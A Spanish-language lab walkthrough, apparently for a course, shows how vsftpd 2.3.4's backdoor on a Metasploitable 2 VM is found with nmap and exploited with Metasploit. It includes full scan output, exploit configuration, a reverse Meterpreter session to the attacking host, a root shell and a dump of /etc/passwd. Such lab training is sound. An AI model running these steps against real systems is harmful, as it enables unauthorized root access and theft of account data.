SOLUCIONARIO

Explotación Puerto 21 — FTP vsftpd 2.3.4

Metasploitable 2 | Kali Linux | Metasploit Framework

PASO 1 — Reconocimiento de la Red

Descubrir hosts activos en la red local:

```
nmap -sn 192.168.30.0/24
```

El flag **-sn** realiza un ping scan sin escanear puertos. Se identificó que la IP de Metasploitable 2 es **192.168.30.132**.

Reconocimiento

nmap -sn 192.168.30.0/24

```
┌──(root㉿kali)-[/home/kali/Escritorio]
└─# nmap -sn 192.168.30.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 09:59 -0500
Nmap scan report for 192.168.30.1
Host is up (0.0011s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.30.2
Host is up (0.00018s latency).
MAC Address: 00:50:56:E4:E0:98 (VMware)
Nmap scan report for 192.168.30.132
Host is up (0.0018s latency).
MAC Address: 00:0C:29:0B:ED:F0 (VMware)
Nmap scan report for 192.168.30.254
Host is up (0.00032s latency).
MAC Address: 00:50:56:F1:32:A3 (VMware)
Nmap scan report for 192.168.30.133
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 4.43 seconds
```

ip metaspoitable2 > 192.168.30.132

Escaneo de puertos
todos los puertos, versiones, sin pings, guarda en escaneo.txt
nmap -p- -sV -Pn 192.168.30.132 -oG escaneo.txt

PASO 2 — Escaneo Completo de Puertos

Escanear todos los puertos, detectar versiones, sin ping, guardar resultado:

```
nmap -p- -sV -Pn 192.168.30.132 -oG escaneo.txt
```

-p-: todos los puertos (1-65535) **-sV**: detección de versiones **-Pn**: sin ping **-oG**: salida en formato grepable

```
└─# nmap -p- -sV -T5 192.168.30.132 -oG escaneo.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 10:28 -0500
Nmap scan report for 192.168.30.132
Host is up (0.0016s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
6697/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
40334/tcp open  status      1 (RPC #100024)
46704/tcp open  java-rmi    GNU Classpath grmiregistry
50463/tcp open  mountd      1-3 (RPC #100005)
53419/tcp open  nlockmgr    1-4 (RPC #100021)
MAC Address: 00:0C:29:0B:ED:F0 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:l
inux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 134.65 seconds
```

Puerto 21
nmap -p21 -sV 192.168.30.132

```
┌──(venv)─(root㉿kali)-[/home/kali/Escritorio/uni]
└─# nmap -p21 -sV 192.168.30.132
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 13:06 -0500
Nmap scan report for 192.168.30.132
Host is up (0.00052s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 00:0C:29:0B:ED:F0 (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

┌──(venv)─(root㉿kali)-[/home/kali/Escritorio/uni]
└─#
```

version ftp: vsftp 2.3.4

Metasploit
msfconsole

PASO 3 — Verificación del Puerto 21 (FTP)

Escaneo específico del puerto 21 para confirmar la versión exacta del servicio:

```
nmap -p21 -sV 192.168.30.132
```

Resultado: **vsftpd 2.3.4** — Esta versión contiene una backdoor conocida (CVE-2011-2523).

PASO 4 — Explotación con Metasploit

Iniciar Metasploit Framework:

```
msfconsole
```

Seleccionar el exploit para vsftpd 2.3.4:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

Este exploit aprovecha la backdoor del código fuente de vsftpd 2.3.4 que fue comprometido en julio de 2011. Al enviar un usuario con **:)** al final, el servidor abre una shell en el puerto 6200.

PASO 5 — Configuración del Exploit

Configurar la IP objetivo (RHOST) y la IP atacante (LHOST):

```
set RHOSTS 192.168.30.132
```

```
set LHOST 192.168.30.133
```

para el port21 ftp usamos un exploit de ftp
use exploit/unix/ftp/vsftpd_234_backdoor

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > info

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix, Linux
       Arch: cmd
  Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Provided by:
  hdm <x@hdm.io>
  MC <mc@metasploit.com>

Module side effects:
 unknown-side-effects

Module stability:
 unknown-stability

Module reliability:
 unknown-reliability

Available targets:
      Id  Name
      --  ----
  =>  0   Linux/Unix Command

Check supported:
  Yes
```

```
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                     sploit/basics/using-metasploit.html
  RPORT   21               yes       The target port (TCP)
```

setear el RHOST(objetivo)

set RHOSTS 192.168.30.132

```
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS  192.168.30.132   yes       The target host(s), see https://docs.metasploit.com/docs/using-meta
                                     sploit/basics/using-metasploit.html
  RPORT   21               yes       The target port (TCP)
```

setear el LHOST (tu maquina)
set LHOST 192.168.30.133

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.30.133
LHOST => 192.168.30.133
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.30.133:4444
[+] 192.168.30.132:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (192.168.30.133:4444 -> 192.168.30.132:39270) at 2026-03-24 13:17:30 -050
0

meterpreter >
```

PASO 6 — Ejecución y Acceso al Sistema

Ejecutar el exploit:

```
exploit
```

Se abre una sesión Meterpreter. Verificar acceso con shell y whoami:

```
shell → whoami → root
```

```
meterpreter > shell
Process 5811 created.
Channel 1 created.

whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

usuarios /etc/passwd

```
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
```

pueden iniciar sesión interactiva
/bin/bash
/bin/sh
/bin/zsh

samba

Acceso root obtenido exitosamente mediante backdoor en vsftpd 2.3.4 — Metasploitable 2